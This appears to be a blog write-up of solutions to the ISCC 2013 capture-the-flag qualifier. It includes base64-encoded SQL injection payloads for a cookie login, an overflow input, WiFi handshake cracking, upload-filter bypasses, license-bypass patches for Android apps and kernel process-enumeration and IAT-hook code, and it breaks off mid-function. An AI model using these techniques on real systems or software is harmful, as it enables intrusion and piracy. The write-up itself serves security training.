关于ISCC2013的思路整理
这一次ISCC初赛,感觉自己变牛逼了一点,本来想把所有题作完再来整理的,结果内核突然出了好几道超变态的题。顿时没有心思做了。
以前都是分大体写,这次写在一起吧。
//======================================格叽格叽==========================================
很恶心的选择题,百度 google 各凭本事,总之做了一统,什么都没有记住。
小豪的健忘症
就是一个hidden标签,没有什么好说的。
大牛们的黑历史
一个莫名其妙的人的照片,拿去google上搜一下,得出名字就好了。
如何得到一个网站的后台地址
这个考察了google hack 使用下面的语句就可以了
inurl:sae.bit inurl:admin
如何备份数据
考察一个简单的cp语句
cp 源地址/*.data 目的地址
穿越
给出了一个正则表达式,和一个摩尔密码。
这里大括号是重复次数,小括号是分组,这个正则表达的是facebook的网址
w{3}.(?<a>t)w(?<b>i)k<a>{2}er.com
这个摩尔密码表达的是一个用户的名字
. . . . /./. . -/. - ./. . -/. . ./.找到这个用户发的一条状态,是heiligabend1992
H(?<a>e)(?<b>i)lk<b>gabk<a>nd[1][9]{2}[2]是1992年的平安夜
你的鼻子怎么样
这个简单抓一下包,就出来了
隔壁宿舍的无线密码
这题给了握手包,要求破解wifi的密码。
下载一个Elcomsoft Wireless Security Auditor,直接开始跑,如果包的后缀不对可以使用wireshark转一下。
根据提示密码与生日有关,EWSA有一个掩码功能,或者下一个生日字典都可以跑出来。
看看你的基本功
就是一段机器码,随便放到debug里面跑,或者找个工具翻译出来,手动模拟一下都可以得到结果。
C语言进阶
考察一个基本的溢出
name EBP EIP xiaohaoA AAAA AABB DDDDDDDDDDDDDDDD
简单的破解
很简单,随便逆向一下就可以。
简单的加密算法
一个换位加密密码,百度一下,了解思路就可以手动破解出来。
顺便写了一个加密的代码。
#include <cassert>
#include <stdlib.h>
#include <iostream>
#include <fstream>
#include <cstring>
#include <sstream>
#include <vector>
using namespace std;
int main()
{
string source = "ZHUXINXIANQUANJULEBUWANGLUOANQUANJTNSAIYUANMANCHENGGONG";
string key = "STUPIDRAGON";
vector<char> map[37];
for (int i=0;i<37;i++) map[i].clear();
for (int i=0;i<source.length();i++){
map[ key[i%11]-"A" ].push_back(source[i]);
}
for (int i=0;i<37;i++)
for (int j=0;j<map[i].size();j++)
cout<<map[i][j];
cout<<endl;
string a="IBQUGNLAINAUUAOIUOAEQANMGNWANNXJUSHXENYGZUNJAHAGINUNLNC";
string b="IBQUGNLAINAUUAOIUOAEQANMGNWANNXJUSHXENYGZUNJAHAGTNUNLNC";
for (int i=0;i<a.length();i++)
if (a[i]!=b[i]) cout<<i<<endl;
return 0;
}真的和cookie有关系
题目给了一段Base64代码,解开后是i am the key,看到cookie里面有一个user项,
把它放进去key就出来了。
输不完的验证码
页面会不停的刷新,让你无法输完验证码。刷新的代码分别是一个mate标签和一段js。
一开始想把页面down到本地修改一下提交,不过涉及到跨域post的问题。
最后使用IE浏览器禁止mate标签和js顺利解决
有字典就是感觉不一样
就是跑字典啊,自己实现或者用工具都可以。
给的用户名和密码都是MD5加密的,不用解密直接跑,得到正确的MD5再进行解密。
搞笑图片大收集
一个图片上传漏洞,这种一般随便加点分号空格00什么的就过了。
没什么能阻止我们变身admin
一道cookie注入的题,根据题目提示使用guest guest登陆。
发现cookie中有user password data这几项,其中后两个被base64加密了。
尝试了一下发现,data没有惊醒过滤,但是注入语句要先转成base64
给data赋值单引号报错。
Jw==把user赋值admin data赋值" or "1"="1,会出现wecome admin
JyBvciAnMScgPSAnMQ==这时候data里面的数据就会变成admin密码的base64.
简单的看汇编代码
很简单的一道题,随便逆一下就可以看到key。
普通的一道破解题
先使用PEID看了一下,编译器是bloodshed,非常血腥。
先找到了结果返回的字符串,看看是不是直接把key输出,结果这段的意思是“就是这个”
BE CD CA C7 D5 E2 B8 F6 21 7E看来还是需要找到真正的密码,那ida F5大法还原了一下生成key的函数。
int __cdecl main(int argc, const char **argv, const char *envp)
{
int v4; // eax@1
_BYTE *v5; // edx@5
int v6; // eax@10
int v7; // eax@11
signed int v8; // [sp+1Ch] [bp-524Ch]@1
_BYTE v9[10000]; // [sp+20h] [bp-5248h]@1
char v10; // [sp+2730h] [bp-2B38h]@1
char v11; // [sp+4E50h] [bp-418h]@1
size_t v12; // [sp+5250h] [bp-18h]@1
int v13; // [sp+5248h] [bp-20h]@1
signed int v14; // [sp+524Ch] [bp-1Ch]@1
int v15; // [sp+5254h] [bp-14h]@1
signed int v16; // [sp+525Ch] [bp-Ch]@1
int v17; // [sp+5258h] [bp-10h]@3
_BYTE v18[8]; // [sp+5260h] [bp-8h]@5
int v19; // [sp+5244h] [bp-24h]@7
v8 = 16;
__main();
memcpy(v9, aK0lzyz9_e0Vwep, 0x2710u);
memset(&v10, 0, 0x2712u);
v4 = _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc((int)&dword_4483C0, (int)"请输入密码~");
unknown_libname_91(v4, _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_);
_ZStrsIcSt11char_traitsIcEERSt13basic_istreamIT_T0_ES6_PS3_(&dword_448460, &v11);
v12 = strlen(&v11);
v13 = 0;
v14 = 0;
v15 = 0;
v16 = 41;
while ( v16 <= 60 )
{
v17 = 1;
while ( v16 + 5 >= v17 )
{
v5 = &v18[v13++ - 1040];
if ( *v5 != v9[v17 * v16] )
v14 = 1;
++v19;
++v17;
}
v13 = v13 - v15++ - 1;
v16 += 6;
}
if ( v14 )
{
v7 = _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc((int)&dword_4483C0, (int)&unk_444E39);
unknown_libname_91(v7, _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_);
}
else
{
v6 = _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc((int)&dword_4483C0, (int)&unk_444E2E);
unknown_libname_91(v6, _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_);
}
system("pause");
return 0;
}把乱七八糟的东西删一删找到了主要的函数,运行一下得出key
A{?ZR;J`aEN"s3sFn#h>0{jElf0];i"HEil)(qzo0>}&m4QL;s.D!9R`!lOGD05rDi,]b0}K%aeI]LfveL|EE"1SIC:Kql"ZFNy~60Jw)Fy)UEa;Ssy2YS%j2[qqHCq=M0n9iF^9j0wu1ou+}TLbg:o7..<4]To~1p58o1Q,C2^FiUa2RPHkF{8i=Kd7q?X{nf9:mx,gFd]:K{YbUS#r@h
这时却发现这个key不正确,拿od单步一下,发现有一位错了,改正即可。求帮忙解密课件
这题是一个典型的RSA加密。
同样使用F5大法,这时候发现Hex-Rays1.0对int64兼容的不算特别好,而高版本网上又不提供下载。
Better recognition of 64-bit idioms, example 2
v21 = PageSize * (_DWORD)a6 - a2; v22 = __MKCADD__(v21, qword_6992C7E0); *(_DWORD *)&qword_6992C7E0 = v21 + qword_6992C7E0; *((_DWORD *)&qword_6992C7E0 + 1) += ((unsigned __int64)PageSize * a6 >> 32) - ((unsigned int)(PageSize * (_DWORD)a6 < (_DWORD)a2) + *((_DWORD *)&a2 + 1)) + v22; qword_6992C7E0 += PageSize * a6 - a2;这些宏理应定义在IDA的defs.h中,可是defs.h却很不负责任的这样定义,或许在IDA高版本下有定义。
#define __ROL__(x, y) __rotl__(x, y) // Rotate left #define __ROR__(x, y) __rotr__(x, y) // Rotate right #define __RCL__(x, y) invalid_operation // Rotate left thru carry #define __RCR__(x, y) invalid_operation // Rotate right thru carry #define __MKCADD__(x, y) invalid_operation // Generate carry flag for an addition #define __MKOADD__(x, y) invalid_operation // Generate overflow flag for an addition #define __MKCSHL__(x, y) invalid_operation // Generate carry flag for a shift left #define __MKCSHR__(x, y) invalid_operation // Generate carry flag for a shift right #define __MKCRCL__(x, y) invalid_operation // Generate carry flag for a RCL #define __MKCRCR__(x, y) invalid_operation // Generate carry flag for a RCR #define __SETO__(x, y) invalid_operation // Generate overflow flags for (x-y)不过这并不重要,把这些乱七八糟的东西删掉,把核心代码还原一下。
int main()
{
source=1;
temp=1;
key=1;
n =9986801107LL;
char x;
cin>>x;
k = x -1;
for (int i=1;i<=54517;++i){
temp = key;
key = (key + temp*k) % n;
}
while (key!=0){
cout<<key % 10;
key /= 10;
}
cout<<endl;
}
得到算法大概是这样,算法把每两个字符的ascii码进行加密,待加密数字asciiA*1000+asciiB
n 9986801107 = 99877 * 99991 x^d % n 中 d = 54517 (q-1)(p-1) = 9986601240 m * d mod (q-1)(p-1) = 1 得出m=732733
这里计算m的算法
比如rsa算法中 已知 p=101, q=97, e=13, 求d N=p*q=101*97=9797 φ(N)=(p-1)(q-1)=9600 欧拉函数 (13,9600)=1 9600=13*738+6 辗转相除法 13=6*2+1 1=13-2*6 =13-2*(9600-13*738) =13*1477-2*9600 e=13,d=1477这里的e,d就是刚说的e1和e2根据这些很容易的可以写出解密函数,之所以使用java是因为他的大数类或者使用半加法也可以在int64范围内得出正确结果
import java.io.UnsupportedEncodingException;
import java.math.BigInteger;
import java.util.Scanner;
public class main {
public static BigInteger RSAcode(BigInteger x,BigInteger d,BigInteger n){
BigInteger ans = new BigInteger("1");
BigInteger two = new BigInteger("2");
while (!d.equals(BigInteger.ZERO)){
if (d.mod(two).equals(BigInteger.ONE)){
ans = ans.multiply(x).mod(n);
}
x = x.multiply(x).mod(n);
d = d.divide(two);
}
return ans;
}
public static void main(String args[])
{
BigInteger n = new BigInteger("9986801107");
BigInteger d = new BigInteger("54517");
BigInteger m = new BigInteger("732733");
BigInteger x = new BigInteger("49049");
System.out.println("Secret key:49049 9986801107");
Scanner in = new Scanner(System.in);
String code = in.nextLine();
char[] tcode = new char [10];
String ttcode = null;
int icode;
char ccode;
for (int i=0;i<code.length();i+=10){
for (int j=0;j<10;j++){
tcode[10-j-1]=code.charAt(j+i);
ttcode = String.valueOf(tcode);
//System.out.println(ttcode);
}
icode = Integer.parseInt(RSAcode(new BigInteger(ttcode),m,n).toString());
if (1000<icode){
ccode = (char) (icode / 1000);
System.out.print(ccode);
ccode = (char) (icode % 1000);
System.out.print(ccode);
}
else {
ccode = (char) (icode);
System.out.print(ccode);
}
}
//System.out.println(RSAcode(x,d,n).toString());
//System.out.println(RSAcode(RSAcode(x,d,n),m,n).toString());
}
}
这用了一个壳~好像蛮麻烦的~
这个加了一个壳,首先不想把它脱掉了,太麻烦。这个可很可能有反动态调试的功能,并且修改了资源表。
所以使用IDA静态调试的时候,并无法定位到具体某个函数。使用od动态调试的时候,需要使用hideOD这个插件。
其实因为程序很小,随便单步几下就可以找到关键代码了。其实正确方法是在资源表(.rsc)下内存访问断点,
然后再壳还原资源表的时候,就可以断下了。
找到了关键代码
004010F9 |> /8B0E /mov ecx, dword ptr [esi] 004010FB |. |B8 93244992 |mov eax, 92492493 00401100 |. |83C1 0A |add ecx, 0A 00401103 |. |F7E9 |imul ecx 00401105 |. |03D1 |add edx, ecx 00401107 |. |C1FA 02 |sar edx, 2 0040110A |. |8BCA |mov ecx, edx 0040110C |. |C1E9 1F |shr ecx, 1F 0040110F |. |03D1 |add edx, ecx 00401111 |. |8BCA |mov ecx, edx 00401113 |. |890E |mov dword ptr [esi], ecx 00401115 |. |8B46 04 |mov eax, dword ptr [esi+4] 00401118 |. |99 |cdq 00401119 |. |F7F9 |idiv ecx 0040111B |. |52 |push edx 0040111C |. |68 20304000 |push 00403020 ; ASCII "%d" 00401121 |. |8916 |mov dword ptr [esi], edx 00401123 |. |FFD5 |call ebp 00401125 |. |83C4 08 |add esp, 8 00401128 |. |83C6 04 |add esi, 4 0040112B |. |4F |dec edi 0040112C |.^75 CB jnz short 004010F9
是一个循环回一个数组进行处理,先看一下这个数组是什么
57 65 64 20 4d 61 79 20 31 35 20 31 30 3a 35 37 3a 33 32 20 32 30 31 33 0a Wed May 15 20:43:32 2013这样看来,这个加密算法是通过取得一个时间来随机生成key。
再来看程序怎样对这段代码进行变换。
这段很痛疼的代码其实是对整数除法的一个编译器优化,
http://www.pediy.com/kssd/pediy11/116974.html
004010FB |. |B8 93244992 |mov eax, 92492493 00401100 |. |83C1 0A |add ecx, 0A 00401103 |. |F7E9 |imul ecx 00401105 |. |03D1 |add edx, ecx 00401107 |. |C1FA 02 |sar edx, 2 0040110A |. |8BCA |mov ecx, edx其他的都很好懂,使用c++实现一下
#include "stdafx.h"
#include <time.h>
#include <string.h>
int main(int argc, char* argv[])
{
char source[31];
unsigned int c,a,d;
memset(source,0,sizeof(source));
time_t t = time(0);
strftime(source,sizeof(source),"%a %b %m %X %Y
",localtime(&t));
printf("%s
",source);
for (int i=0;i<30;i++){
c = source[i];
c = c + 10;
d = c / 7;
c = d;
source[i] = c;
a = source[i+1];
d = a % c;
a = a / c;
printf("%d",d);
}
return 0;
}
付费版太贵了
这是一道android的逆向,要求是显示原来是隐藏的两个按钮,主要需要用到这四个工具
dex2jar: 将apk中的class.dex文件反编译为jar包 auto-signed:给修改后的APK签名 jd_gui: 将jar反编译为.java文件 apktool: 提取apk中的资源文件很轻易的看到了java源代码,
代码中反复调用setVisibility(0)来进行隐藏
package com.bfs.crackme;
import android.app.Activity;
import android.content.Context;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuInflater;
import android.widget.Button;
public class MainActivity extends Activity
{
private Button a;
private Button b;
private Button c;
private int a(String paramString)
{
try
{
int i = Integer.parseInt(d.a("droider", paramString));
return i;
}
catch (Exception localException)
{
localException.printStackTrace();
}
return 0;
}
private String a(int paramInt)
{
try
{
String str = createPackageContext("com.droider.appkey", 2).getString(paramInt);
return str;
}
catch (Exception localException)
{
localException.printStackTrace();
}
return "";
}
private boolean a()
{
String str = a(2130903041);
return (str != null) && (str.length() != 0);
}
public void onCreate(Bundle paramBundle)
{
super.onCreate(paramBundle);
setContentView(2130903040);
int i;
if (!a())
{
i = 2130968577;
setTitle(getString(i));
this.a = ((Button)findViewById(2131165184));
this.b = ((Button)findViewById(2131165185));
this.c = ((Button)findViewById(2131165186));
if (i != 2130968578)
break label150;
this.b.setVisibility(0);
}
while (true)
{
this.a.setOnClickListener(new a(this));
this.b.setOnClickListener(new b(this));
this.c.setOnClickListener(new c(this));
return;
i = a(a(2130903041));
if (i != 0)
break;
i = 2130968577; //
break;
label150: if (i == 2130968579) //0x7f040003
{
this.b.setVisibility(0);
this.c.setVisibility(0);
}
}
}
public boolean onCreateOptionsMenu(Menu paramMenu)
{
getMenuInflater().inflate(2131099648, paramMenu);
return true;
}
}layout/activity_main.xml中也设置了,按钮隐藏<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout android:layout_width="fill_parent" android:layout_height="fill_parent"
xmlns:android="http://schemas.android.com/apk/res/android">
<Button android:id="@id/button_free" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginTop="42.0dip" android:text="免费版入口" android:layout_alignParentTop="true" android:layout_centerHorizontal="true" />
<Button android:id="@id/button_advanced" android:visibility="invisible" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginTop="48.0dip" android:text="高级版入口" android:layout_below="@id/button_free" android:layout_alignLeft="@id/button_free" />
<Button android:id="@id/button_pro" android:visibility="invisible" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginTop="60.0dip" android:text="专业版入口" android:layout_below="@id/button_advanced" android:layout_alignLeft="@id/button_advanced" />
</RelativeLayout>修改xml中的属性很简单,但是为了重打包方便,直接修改apktools 逆向出的smail文件。
对照这里,找到了调用setVisibility的语句
http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html
其中V0被当做setVisibility参数,而且所有的setVisibility()均使用V0作为参数,我门只需要在开头修改给V0赋值的语句就可以了
invoke-virtual {v0, v2}, Landroid/widget/Button;->setVisibility(I)V修改好之后使用apktool重打包,并使用auto-signed签名就大功告成了。
这里我使用java带的keytool进行签名没有成功,原因不明。
注册很麻烦
依旧是一道android的逆向,不过使用了高级一点JNI的技术。
核心代码写在一个OS文件中,在使用loadlibrary调用进来,在java代码中没有找到什么有用的信息
除了这个,我们的目标是企业版也就是3
if (i == 1)
str = "-正式版";
else if (i == 2)
str = "-专业版";
else if (i == 3)
str = "-企业版";
else if (i == 4)
str = "-专供版";
else
str = "-未知版";使用IDA打开这个OS文件,发现是ARM汇编,和常规汇编有所不同。
首先发现了4段md5,应该是对应上面4种版本的注册码
.rodata:00003908 a25d55ad283aa40 DCB "25d55ad283aa400af464c76d713c07ad",0 .rodata:00003908 ; DATA XREF: n1+80o .rodata:00003929 ALIGN 0x10 .rodata:00003930 a08e0750210f663 DCB "08e0750210f66396eb83957973705aad",0 .rodata:00003930 ; DATA XREF: n1+98o .rodata:00003951 ALIGN 8 .rodata:00003958 aB2db1185c9e5b8 DCB "b2db1185c9e5b88d9b70d7b3278a4947",0 .rodata:00003958 ; DATA XREF: n1+B0o .rodata:00003979 ALIGN 0x10 .rodata:00003980 a18e56d777d194c DCB "18e56d777d194c4d589046d62801501c",0 .rodata:00003980 ; DATA XREF: n1+C8o解密之后,应该就是4个版本的注册码,填进去貌似就可以注册了
25d55ad283aa400af464c76d713c07ad 12345678 08e0750210f66396eb83957973705aad 22345678 b2db1185c9e5b88d9b70d7b3278a4947 32345678 18e56d777d194c4d589046d62801501c 42345678不过本着精益求精的原则,还需要把认证流程绕过去,在N1函数中,他屡次调用了setVaule函数,这个函数是用来设定注册状态的。
我们只要把所有的setVaule函数的传参全部改成3就可以了。每次调用SetValue都通过R1来传递参数
找出每次setvaule的地址 00001390 05 10 a0 e1 MOV R1, R5 000013A0 04 10 A0 E1 MOV R1, R4 先改两个,其他不管 Mov R1 3 03 10 A0 E3二进制打开os文件,找到固定地址,修改之,成功。
其实这样改还有不足之处,但是里面逻辑很复杂,懒得去管了。
因为内核实在是不会,所以都是上网抄的代码,让我解释也解释不清楚。所以只把源代码贴上来。
简单的驱动编写
没啥好说的一个简单的Hello world
#include <ntddk.h>
NTSTATUS myDispatch (IN PDEVICE_OBJECT DeviceObject,IN PIRP pIrp);
VOID MyUnload(IN PDRIVER_OBJECT DriverObject0);
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
IN PUNICODE_STRING theRegistryPath)
{
PDEVICE_OBJECT mydevice;//定义设备对象
UNICODE_STRING devicename;//定义设备名称
UNICODE_STRING symboliclinkname;//定义符号连接名称
RtlInitUnicodeString(&devicename,L"\Device\mydevice");//初始化设备名称
RtlInitUnicodeString(&symboliclinkname,L"\??\ISCC2013Kernel1");//初始化符号连接名称
//创建常规的设备对象
if(STATUS_SUCCESS == IoCreateDevice(
theDriverObject,//驱动对象
0,
&devicename,//设备名称
FILE_DEVICE_UNKNOWN,//类型
0,
FALSE,
&mydevice//设备对象
))
{
DbgPrint("create a device
");
}
//创建驱动设备符号链接
if(STATUS_SUCCESS == IoCreateSymbolicLink(
&symboliclinkname,//符号链接名称
&devicename//设备名称
))
{
DbgPrint("create a symbolicLink
");
}
theDriverObject->DriverUnload = MyUnload;
//设置IRP派遣例程和卸载例程
theDriverObject->MajorFunction[IRP_MJ_CREATE]=
theDriverObject->MajorFunction[IRP_MJ_CLOSE] =
theDriverObject->MajorFunction[IRP_MJ_WRITE] =
theDriverObject->MajorFunction[IRP_MJ_READ] =
theDriverObject->MajorFunction[IRP_MJ_CLOSE] =
theDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = myDispatch;
return STATUS_SUCCESS;
}
NTSTATUS myDispatch (IN PDEVICE_OBJECT DeviceObject,IN PIRP pIrp)
{
NTSTATUS ntStatus=STATUS_SUCCESS;
PIO_STACK_LOCATION IrpStack=NULL; //IRP堆栈
ULONG IoControlCodes=0; //I/O控制代码
//设置IRP状态
pIrp->IoStatus.Status=STATUS_SUCCESS;
pIrp->IoStatus.Information=0;
IrpStack=IoGetCurrentIrpStackLocation(pIrp); //得到当前调用者的IRP
switch (IrpStack->MajorFunction)
{
case IRP_MJ_CREATE:
DbgPrint("create
");
break;
case IRP_MJ_CLOSE:
DbgPrint("close
");
break;
default:
DbgPrint("other
");
break;
}
ntStatus=pIrp->IoStatus.Status;
IoCompleteRequest(pIrp,IO_NO_INCREMENT);
return ntStatus;
}
VOID MyUnload(IN PDRIVER_OBJECT DriverObject0)
{
//c语言变量一定要放最前面...
PDEVICE_OBJECT temp1;
PDEVICE_OBJECT temp2;
UNICODE_STRING symboliclinkname;//定义符号连接名称
DbgPrint("unload
");
RtlInitUnicodeString(&symboliclinkname,L"\??\ISCC2013Kernel1");//初始化连接符号
IoDeleteSymbolicLink(&symboliclinkname);//删除符号连接
if(DriverObject0)
{
temp1=DriverObject0->DeviceObject;
//删除设备链表
while(temp1)
{
temp2=temp1;
temp1=temp1->NextDevice;
IoDeleteDevice(temp2);//删除设备
DbgPrint("upload a decive...
");
}
}
}
"凭空"出现的指令
考察了GS security cookie 安全机制,在sources中将其关掉即可。
BUFFER_OVERFLOW_CHECKS=0
又见隐藏进程
使用了PSPcidtable枚举进程的方法
#include <ntddk.h>
typedef struct _OBJECT_HEADER {
union {
struct {
LONG PointerCount;
LONG HandleCount;
};
LIST_ENTRY Entry;
};
POBJECT_TYPE Type;
UCHAR NameInfoOffset;
UCHAR HandleInfoOffset;
UCHAR QuotaInfoOffset;
UCHAR Flags;
union {
//POBJECT_CREATE_INFORMATION ObjectCreateInfo;
PVOID QuotaBlockCharged;
};
PSECURITY_DESCRIPTOR SecurityDescriptor;
QUAD Body;
} OBJECT_HEADER, *POBJECT_HEADER;
#define OBJECT_TO_OBJECT_HEADER(obj) CONTAINING_RECORD( (obj), OBJECT_HEADER, Body )
#define OBJECT_BODY_TO_TYPE 0x10
#define TYPE 0X08 //_OBJECT_HEADER中的偏移
#define NEXTFREETABLEENTRY 0X04 //_HANDLE_TABLE_ENTRY中的偏移
#define IMAGEFILENAME 0X174 //_EPROCESS中的偏移
#define FLAGS 0x248 //_EPROCESS中的偏移
#define UniqueProcessID 0x084 //_EPROCESS中的偏移
ULONG GetProcessType()
{
ULONG eproc;
ULONG type;
ULONG total;
eproc = (ULONG)PsGetCurrentProcess();//PsGetCurrentProcess获取当前活动进程的地址,实际上就是对象(体)指针
eproc = (ULONG)OBJECT_TO_OBJECT_HEADER(eproc);
type = *(PULONG)(eproc+TYPE);
return type;
}
ULONG GetPspCidTable()
{
ULONG PspCidTable=0;
ULONG FuncAddr=0;
UNICODE_STRING FuncName={0};
RtlInitUnicodeString(&FuncName,L"PsLookupProcessByProcessId");
FuncAddr=(ULONG)MmGetSystemRoutineAddress(&FuncName);
for (;;FuncAddr++)
{
if ((0x35ff==(*(PUSHORT)FuncAddr)) && (0xe8==(*(PUCHAR)(FuncAddr+6))))
{
PspCidTable=*(PULONG)(FuncAddr+2);
break;
}
}
return PspCidTable;
}
//从3级表开始遍历
ULONG BrowseTableL3(ULONG TableAddr)
{
ULONG Object=0;
ULONG ItemCount=511;
ULONG processtype,type;
ULONG flags;
do
{
TableAddr+=8; // 跳过前面的无效句柄
Object=*(PULONG)TableAddr;
Object&=0xfffffff8; // 最后3位清零, 得到EPROCESS结构地址
if (Object==0)
{
continue;
}
type = (*(PULONG)(Object-OBJECT_BODY_TO_TYPE));
processtype = GetProcessType();
if (type == processtype) // 如果是进程对象
{
flags=*(PULONG)((ULONG)Object+FLAGS);
/*__asm{
int 3;
}*/
if((flags&0xc)!=0xc){ // 如果不是死进程
KdPrint(("ImageName: %20s ", (char*)Object+IMAGEFILENAME));
KdPrint(( "ProcessID: 0x%02X%02X%02X%02X
", (UCHAR)((char*)Object+UniqueProcessID)[3] ,
(UCHAR)((char*)Object+UniqueProcessID)[2],
(UCHAR)((char*)Object+UniqueProcessID)[1],
(UCHAR)((char*)Object+UniqueProcessID)[0] ));
}
}
} while (--ItemCount>0);
return 0;
}
//从二级表开始遍历
ULONG BrowseTableL2(ULONG TableAddr)
{
do
{
BrowseTableL3(*(PULONG)TableAddr);
TableAddr+=4;
} while ((*(PULONG)TableAddr)!=0);
return 0;
}
//从1级表开始遍历
ULONG BrowseTableL1(ULONG TableAddr)
{
do
{
BrowseTableL2(*(PULONG)TableAddr);
TableAddr+=4;
} while ((*(PULONG)TableAddr)!=0);
return 0;
}
VOID RefreshProcessByPspCidTable()
{
ULONG PspCidTable=0;
ULONG HandleTable=0;
ULONG TableCode=0;
ULONG flag=0;
PspCidTable=GetPspCidTable();
HandleTable=*(PULONG)PspCidTable;
TableCode=*(PULONG)HandleTable;
flag=TableCode&3;
TableCode&=0xfffffffc;
switch (flag)
{
case 0:
BrowseTableL3(TableCode);
break;
case 1:
BrowseTableL2(TableCode);
break;
case 2:
BrowseTableL1(TableCode);
break;
}
}
VOID
DriverUnload(
IN PDRIVER_OBJECT DriverObject
)
{
KdPrint(("DriverUnload!"));
}
NTSTATUS
DriverEntry(
PDRIVER_OBJECT DriverObject,
PUNICODE_STRING RegistryPath
)
{
NTSTATUS status = STATUS_SUCCESS;
KdPrint(("Enter DriverEntry!
"));
DriverObject->DriverUnload = DriverUnload;
RefreshProcessByPspCidTable();
return status;
}Windows的PE文件
思路是在内核中枚举模块名称,得到其基址后修改其输入表
#include "ntddk.h"
#include "hookiat.h"
#pragma comment(lib,"ntdll.lib")
HANDLE hSection;
PVOID g_OriginalPsGetCurrentProcessId = NULL;
PVOID g_FunctionInMemory = NULL;
NTSTATUS status;
typedef HANDLE (*PSGETCURRENTPROCESSID)();
PVOID GetDriverBaseAdress(IN char* driverName)
{
ULONG size,index;
PULONG buf;
PSYSTEM_MODULE_INFORMATION module;
PVOID driverAddress=0;
ZwQuerySystemInformation(SystemModuleInformation,&size, 0, &size);
if(NULL==(buf = (PULONG)ExAllocatePool(PagedPool, size)))
{
DbgPrint("failed alloc memory failed
");
return 0;
}
status=ZwQuerySystemInformation(SystemModuleInformation,buf, size , 0);
if(!NT_SUCCESS( status ))
{
DbgPrint("failed query
");
return 0;
}
module = (PSYSTEM_MODULE_INFORMATION)(( PULONG )buf + 1);
for (index = 0; index < *buf; index++)
if (_stricmp(module[index].ImageName + module[index].ModuleNameOffset, driverName) == 0)
{
driverAddress = module[index].Base;
DbgPrint("Module found at:%x
",driverAddress);
}
ExFreePool(buf);
return driverAddress;
}
PVOID CreateMapFileAndReturnBaseAddress(IN PUNICODE_STRING pDriverName)
{
HANDLE hFile;
//HANDLE hSection看需要在别的地方ZWclose(hSection),若不用.那定义成局部变量就可以了,或者做为数参数传递
char *pszModName;
PVOID MapFileBaseAddress = NULL;
SIZE_T size=0;
IO_STATUS_BLOCK stataus;
OBJECT_ATTRIBUTES oa ;
InitializeObjectAttributes(
&oa,
pDriverName,
OBJ_CASE_INSENSITIVE,
0,
0
);
ZwOpenFile(&hFile,
FILE_EXECUTE | SYNCHRONIZE,
&oa,
&stataus,
FILE_SHARE_READ,
FILE_SYNCHRONOUS_IO_NONALERT);
oa.ObjectName = 0;
ZwCreateSection(&hSection,
SECTION_ALL_ACCESS,
&oa,
0,
PAGE_EXECUTE,
SEC_IMAGE,
hFile);
ZwMapViewOfSection(hSection,
PsGetCurrentProcessId(),
&MapFileBaseAddress,
0,
1024,
0,
&size,
ViewShare,
MEM_TOP_DOWN,
PAGE_READWRITE);
ZwClose(hFile);
DbgPrint("baseadress:%x
",MapFileBaseAddress);
return MapFileBaseAddress;
}
DWORD GetImageImportDescriptorPointer(IN OUT HANDLE* hMod, IN OUT IMAGE_IMPORT_DESCRIPTOR** pImportDesc)
{
IMAGE_DOS_HEADER * dosheader;
IMAGE_OPTIONAL_HEADER * optheader;
PVOID BaseAddress = NULL;
UNICODE_STRING driverName;
RtlInitUnicodeString(&driverName, L"\Device\HarddiskVolume1\WINDOWS\system32\drivers\ISCC2013Kernel4.sys");
BaseAddress= CreateMapFileAndReturnBaseAddress(&driverName);
*hMod = BaseAddress;
dosheader= (IMAGE_DOS_HEADER *)BaseAddress;
optheader =(IMAGE_OPTIONAL_HEADER *) ((BYTE*)BaseAddress+dosheader->e_lfanew+24);
*pImportDesc = (IMAGE_IMPORT_DESCRIPTOR *)((BYTE*)dosheader+ optheader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
if( NULL == (*pImportDesc)) return 0;
else
return 1;
DbgPrint("DataEntryAddress:%x
",pImportDesc);
}
DWORD GetFunctionRav(IN char* lpFunctionName, IN char* lpFunctionLibrary, OUT DWORD* pThunk, OUT DWORD* pRVA)
{
HANDLE hMod;
IMAGE_IMPORT_DESCRIPTOR * pImportDesc;
IMAGE_THUNK_DATA* thunk;
char *pszModName;
DWORD firstThunkList;
DWORD ret;
BOOLEAN isOrdinal;
BOOLEAN foundIt;
int x=0;
SIZE_T size=0;
ret=GetImageImportDescriptorPointer(&hMod,&pImportDesc);
if(ret==0)
{
DbgPrint("GetImageImportDescriptorPointer return NULL");
return 0;
}
//遍历IMPORT DIRECTORY TABLE,找到ntoskrnl.exe对应的IMAGE_IMPORT_DESCRIPTOR
while (pImportDesc->FirstThunk)
{
pszModName = (PSTR) ((PBYTE) hMod + pImportDesc->Name);
if (_stricmp(pszModName, lpFunctionLibrary) == 0 )
{
foundIt = TRUE;
DbgPrint("name:%s
",pszModName);
break;
}
pImportDesc++;
}
if(foundIt==FALSE)
{
return 0;
}
//得到ntoskrnl.exe的IMAGE_IMPORT_DESCRIPTOR,就可以其IAT,IAT中就可以找到导出函数了
thunk = (IMAGE_THUNK_DATA*)( (BYTE*)hMod + pImportDesc->OriginalFirstThunk);
firstThunkList = (DWORD)((PBYTE)hMod + pImportDesc->FirstThunk);
foundIt = FALSE;
while(thunk->u1.Function)
{
isOrdinal = 0;
//IMAGE_THUNK_DATA其实就是一个DWORD,它要么是Ordinal,要么是AddressOfData
if(thunk->u1.Function >= 0x01000000) isOrdinal = TRUE;
if(!isOrdinal) // 以名字到处而不是序号
{
//IMAGE_IMPORT_BY_NAME
